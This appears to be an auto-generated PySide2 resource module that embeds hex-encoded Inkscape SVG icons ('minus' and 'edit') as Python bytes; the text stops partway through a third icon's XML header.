# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PySide2 (Qt v5.9.3) # # WARNING! All changes made in this file will be lost! from PySide2 import QtCore qt_resource_data = b"\ \x00\x00\x07\xa0\ \x3c\ \x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\ \x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\ \x2d\x38\x22\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\ \x6e\x6f\x22\x3f\x3e\x0a\x3c\x21\x2d\x2d\x20\x43\x72\x65\x61\x74\ \x65\x64\x20\x77\x69\x74\x68\x20\x49\x6e\x6b\x73\x63\x61\x70\x65\ \x20\x28\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x2e\x6f\x72\x67\x2f\x29\x20\x2d\x2d\x3e\x0a\ \x0a\x3c\x73\x76\x67\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\ \x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\ \x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\ \x2e\x31\x2f\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x63\x63\ \x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x63\x72\x65\x61\x74\x69\x76\ \x65\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x6f\x72\x67\x2f\x6e\x73\x23\ \x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\x66\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\ \x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\x72\x64\x66\ \x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x0a\x20\x20\x20\ \x78\x6d\x6c\x6e\x73\x3a\x73\x76\x67\x3d\x22\x68\x74\x74\x70\x3a\ \x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\ \x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3d\ \x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\ \x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\ \x78\x6d\x6c\x6e\x73\x3a\x73\x6f\x64\x69\x70\x6f\x64\x69\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x73\x6f\x64\x69\x70\x6f\x64\x69\x2e\ \x73\x6f\x75\x72\x63\x65\x66\x6f\x72\x67\x65\x2e\x6e\x65\x74\x2f\ \x44\x54\x44\x2f\x73\x6f\x64\x69\x70\x6f\x64\x69\x2d\x30\x2e\x64\ \x74\x64\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\ \x77\x2e\x69\x6e\x6b\x73\x63\x61\x70\x65\x2e\x6f\x72\x67\x2f\x6e\ \x61\x6d\x65\x73\x70\x61\x63\x65\x73\x2f\x69\x6e\x6b\x73\x63\x61\ \x70\x65\x22\x0a\x20\x20\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\ \x31\x2e\x31\x22\x0a\x20\x20\x20\x69\x64\x3d\x22\x73\x76\x67\x32\ \x22\x0a\x20\x20\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x39\x32\x22\ \x0a\x20\x20\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x39\x32\x22\ \x0a\x20\x20\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\ \x20\x31\x39\x32\x20\x31\x39\x32\x22\x0a\x20\x20\x20\x73\x6f\x64\ \x69\x70\x6f\x64\x69\x3a\x64\x6f\x63\x6e\x61\x6d\x65\x3d\x22\x6d\ \x69\x6e\x75\x73\x2e\x73\x76\x67\x22\x0a\x20\x20\x20\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3a\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x30\ \x2e\x39\x32\x2e\x32\x20\x28\x35\x63\x33\x65\x38\x30\x64\x2c\x20\ \x32\x30\x31\x37\x2d\x30\x38\x2d\x30\x36\x29\x22\x3e\x0a\x20\x20\ \x3c\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x20\x20\x20\x20\x20\x69\ \x64\x3d\x22\x6d\x65\x74\x61\x64\x61\x74\x61\x38\x22\x3e\x0a\x20\ \x20\x20\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x3e\x0a\x20\x20\x20\ \x20\x20\x20\x3c\x63\x63\x3a\x57\x6f\x72\x6b\x0a\x20\x20\x20\x20\ \x20\x20\x20\x20\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\x74\x3d\x22\ \x22\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\ \x6f\x72\x6d\x61\x74\x3e\x69\x6d\x61\x67\x65\x2f\x73\x76\x67\x2b\ \x78\x6d\x6c\x3c\x2f\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\x0a\ \x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x74\x79\x70\x65\ \x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x64\x66\x3a\ \x72\x65\x73\x6f\x75\x72\x63\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\ \x2f\x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x64\x63\x6d\ \x69\x74\x79\x70\x65\x2f\x53\x74\x69\x6c\x6c\x49\x6d\x61\x67\x65\ \x22\x20\x2f\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\ \x3a\x74\x69\x74\x6c\x65\x3e\x3c\x2f\x64\x63\x3a\x74\x69\x74\x6c\ \x65\x3e\x0a\x20\x20\x20\x20\x20\x20\x3c\x2f\x63\x63\x3a\x57\x6f\ \x72\x6b\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x72\x64\x66\x3a\x52\x44\ \x46\x3e\x0a\x20\x20\x3c\x2f\x6d\x65\x74\x61\x64\x61\x74\x61\x3e\ \x0a\x20\x20\x3c\x64\x65\x66\x73\x0a\x20\x20\x20\x20\x20\x69\x64\ \x3d\x22\x64\x65\x66\x73\x36\x22\x20\x2f\x3e\x0a\x20\x20\x3c\x73\ \x6f\x64\x69\x70\x6f\x64\x69\x3a\x6e\x61\x6d\x65\x64\x76\x69\x65\ \x77\x0a\x20\x20\x20\x20\x20\x70\x61\x67\x65\x63\x6f\x6c\x6f\x72\ \x3d\x22\x23\x66\x66\x66\x66\x66\x66\x22\x0a\x20\x20\x20\x20\x20\ \x62\x6f\x72\x64\x65\x72\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x36\x36\ \x36\x36\x36\x36\x22\x0a\x20\x20\x20\x20\x20\x62\x6f\x72\x64\x65\ \x72\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x31\x22\x0a\x20\x20\x20\ \x20\x20\x6f\x62\x6a\x65\x63\x74\x74\x6f\x6c\x65\x72\x61\x6e\x63\ \x65\x3d\x22\x31\x30\x22\x0a\x20\x20\x20\x20\x20\x67\x72\x69\x64\ \x74\x6f\x6c\x65\x72\x61\x6e\x63\x65\x3d\x22\x31\x30\x22\x0a\x20\ \x20\x20\x20\x20\x67\x75\x69\x64\x65\x74\x6f\x6c\x65\x72\x61\x6e\ \x63\x65\x3d\x22\x31\x30\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3a\x70\x61\x67\x65\x6f\x70\x61\x63\x69\x74\ \x79\x3d\x22\x30\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\ \x61\x70\x65\x3a\x70\x61\x67\x65\x73\x68\x61\x64\x6f\x77\x3d\x22\ \x32\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\ \x3a\x77\x69\x6e\x64\x6f\x77\x2d\x77\x69\x64\x74\x68\x3d\x22\x31\ \x38\x36\x33\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\ \x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\x68\x65\x69\x67\x68\x74\ \x3d\x22\x31\x30\x32\x35\x22\x0a\x20\x20\x20\x20\x20\x69\x64\x3d\ \x22\x6e\x61\x6d\x65\x64\x76\x69\x65\x77\x34\x22\x0a\x20\x20\x20\ \x20\x20\x73\x68\x6f\x77\x67\x72\x69\x64\x3d\x22\x66\x61\x6c\x73\ \x65\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\ \x3a\x7a\x6f\x6f\x6d\x3d\x22\x31\x2e\x37\x33\x38\x33\x30\x34\x32\ \x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\ \x63\x78\x3d\x22\x2d\x31\x30\x38\x2e\x32\x37\x32\x37\x37\x22\x0a\ \x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x63\x79\ \x3d\x22\x32\x30\x39\x2e\x34\x34\x35\x30\x34\x22\x0a\x20\x20\x20\ \x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\ \x77\x2d\x78\x3d\x22\x35\x37\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\ \x6b\x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\x79\x3d\ \x22\x32\x37\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\ \x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\x6d\x61\x78\x69\x6d\x69\ \x7a\x65\x64\x3d\x22\x31\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3a\x63\x75\x72\x72\x65\x6e\x74\x2d\x6c\x61\ \x79\x65\x72\x3d\x22\x67\x38\x33\x31\x22\x20\x2f\x3e\x0a\x20\x20\ \x3c\x67\x0a\x20\x20\x20\x20\x20\x69\x64\x3d\x22\x67\x38\x33\x31\ \x22\x0a\x20\x20\x20\x20\x20\x73\x74\x79\x6c\x65\x3d\x22\x73\x74\ \x72\x6f\x6b\x65\x3a\x23\x62\x33\x62\x33\x62\x33\x3b\x73\x74\x72\ \x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3a\x72\x6f\x75\x6e\ \x64\x22\x3e\x0a\x20\x20\x20\x20\x3c\x70\x61\x74\x68\x0a\x20\x20\ \x20\x20\x20\x20\x20\x73\x6f\x64\x69\x70\x6f\x64\x69\x3a\x6e\x6f\ \x64\x65\x74\x79\x70\x65\x73\x3d\x22\x63\x63\x22\x0a\x20\x20\x20\ \x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x63\x6f\x6e\ \x6e\x65\x63\x74\x6f\x72\x2d\x63\x75\x72\x76\x61\x74\x75\x72\x65\ \x3d\x22\x30\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x69\x64\x3d\x22\ \x70\x61\x74\x68\x38\x31\x32\x2d\x33\x22\x0a\x20\x20\x20\x20\x20\ \x20\x20\x64\x3d\x22\x6d\x20\x31\x33\x34\x2e\x39\x36\x31\x34\x37\ \x2c\x39\x35\x2e\x35\x39\x34\x34\x38\x37\x20\x2d\x37\x39\x2e\x37\ \x39\x35\x31\x30\x38\x2c\x30\x2e\x30\x39\x34\x35\x22\x0a\x20\x20\ \x20\x20\x20\x20\x20\x73\x74\x79\x6c\x65\x3d\x22\x66\x69\x6c\x6c\ \x3a\x6e\x6f\x6e\x65\x3b\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3a\ \x65\x76\x65\x6e\x6f\x64\x64\x3b\x73\x74\x72\x6f\x6b\x65\x3a\x23\ \x62\x33\x62\x33\x62\x33\x3b\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\ \x64\x74\x68\x3a\x31\x36\x3b\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\ \x6e\x65\x63\x61\x70\x3a\x72\x6f\x75\x6e\x64\x3b\x73\x74\x72\x6f\ \x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3a\x6d\x69\x74\x65\ \x72\x3b\x73\x74\x72\x6f\x6b\x65\x2d\x6d\x69\x74\x65\x72\x6c\x69\ \x6d\x69\x74\x3a\x34\x3b\x73\x74\x72\x6f\x6b\x65\x2d\x64\x61\x73\ \x68\x61\x72\x72\x61\x79\x3a\x6e\x6f\x6e\x65\x3b\x73\x74\x72\x6f\ \x6b\x65\x2d\x6f\x70\x61\x63\x69\x74\x79\x3a\x31\x22\x20\x2f\x3e\ \x0a\x20\x20\x3c\x2f\x67\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\ \x00\x00\x08\x1f\ \x3c\ \x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\ \x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\ \x2d\x38\x22\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\ \x6e\x6f\x22\x3f\x3e\x0a\x3c\x21\x2d\x2d\x20\x43\x72\x65\x61\x74\ \x65\x64\x20\x77\x69\x74\x68\x20\x49\x6e\x6b\x73\x63\x61\x70\x65\ \x20\x28\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x2e\x6f\x72\x67\x2f\x29\x20\x2d\x2d\x3e\x0a\ \x0a\x3c\x73\x76\x67\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\ \x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\ \x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\ \x2e\x31\x2f\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x63\x63\ \x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x63\x72\x65\x61\x74\x69\x76\ \x65\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x6f\x72\x67\x2f\x6e\x73\x23\ \x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\x66\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\ \x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\x72\x64\x66\ \x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x0a\x20\x20\x20\ \x78\x6d\x6c\x6e\x73\x3a\x73\x76\x67\x3d\x22\x68\x74\x74\x70\x3a\ \x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\ \x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3d\ \x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\ \x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\ \x78\x6d\x6c\x6e\x73\x3a\x73\x6f\x64\x69\x70\x6f\x64\x69\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x73\x6f\x64\x69\x70\x6f\x64\x69\x2e\ \x73\x6f\x75\x72\x63\x65\x66\x6f\x72\x67\x65\x2e\x6e\x65\x74\x2f\ \x44\x54\x44\x2f\x73\x6f\x64\x69\x70\x6f\x64\x69\x2d\x30\x2e\x64\ \x74\x64\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\ \x77\x2e\x69\x6e\x6b\x73\x63\x61\x70\x65\x2e\x6f\x72\x67\x2f\x6e\ \x61\x6d\x65\x73\x70\x61\x63\x65\x73\x2f\x69\x6e\x6b\x73\x63\x61\ \x70\x65\x22\x0a\x20\x20\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\ \x31\x2e\x31\x22\x0a\x20\x20\x20\x69\x64\x3d\x22\x73\x76\x67\x32\ \x22\x0a\x20\x20\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x39\x32\x22\ \x0a\x20\x20\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x39\x32\x22\ \x0a\x20\x20\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\ \x20\x31\x39\x32\x20\x31\x39\x32\x22\x0a\x20\x20\x20\x73\x6f\x64\ \x69\x70\x6f\x64\x69\x3a\x64\x6f\x63\x6e\x61\x6d\x65\x3d\x22\x65\ \x64\x69\x74\x2e\x73\x76\x67\x22\x0a\x20\x20\x20\x69\x6e\x6b\x73\ \x63\x61\x70\x65\x3a\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x30\x2e\ \x39\x32\x2e\x32\x20\x28\x35\x63\x33\x65\x38\x30\x64\x2c\x20\x32\ \x30\x31\x37\x2d\x30\x38\x2d\x30\x36\x29\x22\x3e\x0a\x20\x20\x3c\ \x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x20\x20\x20\x20\x20\x69\x64\ \x3d\x22\x6d\x65\x74\x61\x64\x61\x74\x61\x38\x22\x3e\x0a\x20\x20\ \x20\x20\x3c\x72\x64\x66\x3a\x52\x44\x46\x3e\x0a\x20\x20\x20\x20\ \x20\x20\x3c\x63\x63\x3a\x57\x6f\x72\x6b\x0a\x20\x20\x20\x20\x20\ \x20\x20\x20\x20\x72\x64\x66\x3a\x61\x62\x6f\x75\x74\x3d\x22\x22\ \x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x66\x6f\ \x72\x6d\x61\x74\x3e\x69\x6d\x61\x67\x65\x2f\x73\x76\x67\x2b\x78\ \x6d\x6c\x3c\x2f\x64\x63\x3a\x66\x6f\x72\x6d\x61\x74\x3e\x0a\x20\ \x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\x74\x79\x70\x65\x0a\ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x64\x66\x3a\x72\ \x65\x73\x6f\x75\x72\x63\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\ \x70\x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x64\x63\x6d\x69\ \x74\x79\x70\x65\x2f\x53\x74\x69\x6c\x6c\x49\x6d\x61\x67\x65\x22\ \x20\x2f\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x64\x63\x3a\ \x74\x69\x74\x6c\x65\x20\x2f\x3e\x0a\x20\x20\x20\x20\x20\x20\x3c\ \x2f\x63\x63\x3a\x57\x6f\x72\x6b\x3e\x0a\x20\x20\x20\x20\x3c\x2f\ \x72\x64\x66\x3a\x52\x44\x46\x3e\x0a\x20\x20\x3c\x2f\x6d\x65\x74\ \x61\x64\x61\x74\x61\x3e\x0a\x20\x20\x3c\x64\x65\x66\x73\x0a\x20\ \x20\x20\x20\x20\x69\x64\x3d\x22\x64\x65\x66\x73\x36\x22\x20\x2f\ \x3e\x0a\x20\x20\x3c\x73\x6f\x64\x69\x70\x6f\x64\x69\x3a\x6e\x61\ \x6d\x65\x64\x76\x69\x65\x77\x0a\x20\x20\x20\x20\x20\x70\x61\x67\ \x65\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x66\x66\x66\x66\x66\x66\x22\ \x0a\x20\x20\x20\x20\x20\x62\x6f\x72\x64\x65\x72\x63\x6f\x6c\x6f\ \x72\x3d\x22\x23\x36\x36\x36\x36\x36\x36\x22\x0a\x20\x20\x20\x20\ \x20\x62\x6f\x72\x64\x65\x72\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\ \x31\x22\x0a\x20\x20\x20\x20\x20\x6f\x62\x6a\x65\x63\x74\x74\x6f\ \x6c\x65\x72\x61\x6e\x63\x65\x3d\x22\x31\x30\x22\x0a\x20\x20\x20\ \x20\x20\x67\x72\x69\x64\x74\x6f\x6c\x65\x72\x61\x6e\x63\x65\x3d\ \x22\x31\x30\x22\x0a\x20\x20\x20\x20\x20\x67\x75\x69\x64\x65\x74\ \x6f\x6c\x65\x72\x61\x6e\x63\x65\x3d\x22\x31\x30\x22\x0a\x20\x20\ \x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x70\x61\x67\x65\ \x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x30\x22\x0a\x20\x20\x20\x20\ \x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x70\x61\x67\x65\x73\x68\ \x61\x64\x6f\x77\x3d\x22\x32\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\ \x6b\x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\x77\x69\ \x64\x74\x68\x3d\x22\x31\x38\x36\x33\x22\x0a\x20\x20\x20\x20\x20\ \x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\ \x68\x65\x69\x67\x68\x74\x3d\x22\x31\x30\x32\x35\x22\x0a\x20\x20\ \x20\x20\x20\x69\x64\x3d\x22\x6e\x61\x6d\x65\x64\x76\x69\x65\x77\ \x34\x22\x0a\x20\x20\x20\x20\x20\x73\x68\x6f\x77\x67\x72\x69\x64\ \x3d\x22\x66\x61\x6c\x73\x65\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\ \x6b\x73\x63\x61\x70\x65\x3a\x7a\x6f\x6f\x6d\x3d\x22\x32\x2e\x34\ \x35\x38\x33\x33\x33\x33\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3a\x63\x78\x3d\x22\x32\x35\x2e\x38\x35\x32\ \x33\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\ \x3a\x63\x79\x3d\x22\x31\x30\x32\x2e\x30\x31\x33\x30\x31\x22\x0a\ \x20\x20\x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x77\x69\ \x6e\x64\x6f\x77\x2d\x78\x3d\x22\x35\x37\x22\x0a\x20\x20\x20\x20\ \x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\ \x2d\x79\x3d\x22\x32\x37\x22\x0a\x20\x20\x20\x20\x20\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x3a\x77\x69\x6e\x64\x6f\x77\x2d\x6d\x61\x78\ \x69\x6d\x69\x7a\x65\x64\x3d\x22\x31\x22\x0a\x20\x20\x20\x20\x20\ \x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x63\x75\x72\x72\x65\x6e\x74\ \x2d\x6c\x61\x79\x65\x72\x3d\x22\x73\x76\x67\x32\x22\x20\x2f\x3e\ \x0a\x20\x20\x3c\x70\x61\x74\x68\x0a\x20\x20\x20\x20\x20\x73\x74\ \x79\x6c\x65\x3d\x22\x66\x69\x6c\x6c\x3a\x23\x39\x39\x39\x39\x39\ \x39\x3b\x73\x74\x72\x6f\x6b\x65\x3a\x23\x39\x39\x39\x39\x39\x39\ \x3b\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3a\x31\x2e\ \x33\x33\x33\x33\x33\x33\x33\x37\x22\x0a\x20\x20\x20\x20\x20\x64\ \x3d\x22\x4d\x20\x32\x34\x2e\x34\x30\x36\x37\x38\x2c\x31\x34\x38\ \x2e\x39\x32\x34\x37\x33\x20\x56\x20\x31\x33\x33\x2e\x39\x31\x37\ \x32\x38\x20\x4c\x20\x36\x38\x2e\x37\x35\x34\x36\x37\x32\x2c\x38\ \x39\x2e\x35\x38\x34\x32\x20\x31\x31\x33\x2e\x31\x30\x32\x35\x37\ \x2c\x34\x35\x2e\x32\x35\x31\x31\x32\x33\x20\x6c\x20\x31\x34\x2e\ \x39\x37\x38\x37\x35\x2c\x31\x35\x2e\x30\x32\x31\x33\x35\x39\x20\ \x31\x34\x2e\x39\x37\x38\x37\x34\x2c\x31\x35\x2e\x30\x32\x31\x33\ \x36\x20\x2d\x34\x34\x2e\x33\x33\x33\x39\x38\x38\x2c\x34\x34\x2e\ \x33\x31\x39\x31\x37\x38\x20\x2d\x34\x34\x2e\x33\x33\x34\x2c\x34\ \x34\x2e\x33\x31\x39\x31\x38\x20\x48\x20\x33\x39\x2e\x33\x39\x39\ \x34\x32\x32\x20\x32\x34\x2e\x34\x30\x36\x37\x38\x20\x5a\x20\x6d\ \x20\x31\x31\x32\x2e\x32\x38\x31\x38\x31\x2c\x2d\x39\x37\x2e\x33\ \x35\x36\x38\x30\x32\x20\x2d\x31\x35\x2e\x30\x35\x31\x35\x2c\x2d\ \x31\x35\x2e\x31\x31\x34\x31\x30\x35\x20\x38\x2e\x36\x30\x32\x37\ \x37\x2c\x2d\x38\x2e\x32\x36\x30\x38\x31\x31\x20\x63\x20\x35\x2e\ \x34\x30\x30\x30\x38\x2c\x2d\x35\x2e\x31\x38\x35\x34\x32\x36\x20\ \x39\x2e\x37\x33\x32\x34\x31\x2c\x2d\x38\x2e\x32\x36\x30\x38\x30\ \x39\x20\x31\x31\x2e\x36\x33\x37\x31\x31\x2c\x2d\x38\x2e\x32\x36\ \x30\x38\x30\x39\x20\x34\x2e\x32\x32\x31\x30\x32\x2c\x30\x20\x32\ \x36\x2e\x35\x32\x39\x38\x31\x2c\x32\x32\x2e\x33\x33\x34\x36\x32\ \x34\x20\x32\x36\x2e\x35\x32\x39\x38\x31\x2c\x32\x36\x2e\x35\x36\ \x30\x35\x35\x31\x20\x30\x2c\x31\x2e\x39\x35\x37\x36\x32\x31\x20\ \x2d\x33\x2e\x30\x31\x30\x39\x32\x2c\x36\x2e\x31\x35\x38\x36\x33\ \x32\x20\x2d\x38\x2e\x33\x33\x33\x33\x33\x2c\x31\x31\x2e\x36\x32\ \x37\x31\x36\x38\x20\x6c\x20\x2d\x38\x2e\x33\x33\x33\x33\x34\x2c\ \x38\x2e\x35\x36\x32\x31\x31\x32\x20\x7a\x22\x0a\x20\x20\x20\x20\ \x20\x69\x64\x3d\x22\x70\x61\x74\x68\x38\x31\x37\x22\x0a\x20\x20\ \x20\x20\x20\x69\x6e\x6b\x73\x63\x61\x70\x65\x3a\x63\x6f\x6e\x6e\ \x65\x63\x74\x6f\x72\x2d\x63\x75\x72\x76\x61\x74\x75\x72\x65\x3d\ \x22\x30\x22\x20\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\ \x00\x00\x07\xa3\ \x3c\ \x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\ \x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\ \x2d\x38\x22\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\ \x6e\x6f\x22\x3f\x3e\x0a\x3c\x21\x2d\x2d\x20\x43\x72\x65\x61\x74\ \x65\x64\x20\x77\x69\x74\x68\x20\x49\x6e\x6b\x73\x63\x61\x70\x65\ \x20\x28\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x69\x6e\x6b\ \x73\x63\x61\x70\x65\x2e\x6f\x72\x67\x2f\x29\x20\x2d\x2d\x3e\x0a\ \x0a\x3c\x73\x76\x67\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x64\ \x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\x75\x72\x6c\x2e\x6f\ \x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\x6e\x74\x73\x2f\x31\ \x2e\x31\x2f\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x63\x63\ \x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x63\x72\x65\x61\x74\x69\x76\ \x65\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x6f\x72\x67\x2f\x6e\x73\x23\ \x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x72\x64\x66\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\ \x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\x32\x2d\x72\x64\x66\ \x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\x22\x0a\x20\x20\x20\ \x78\x6d\x6c\x6e\x73\x3a\x73\x76\x67\x3d\x22\x68\x74\x74\x70\x3a\ \x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\ \x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3d\ 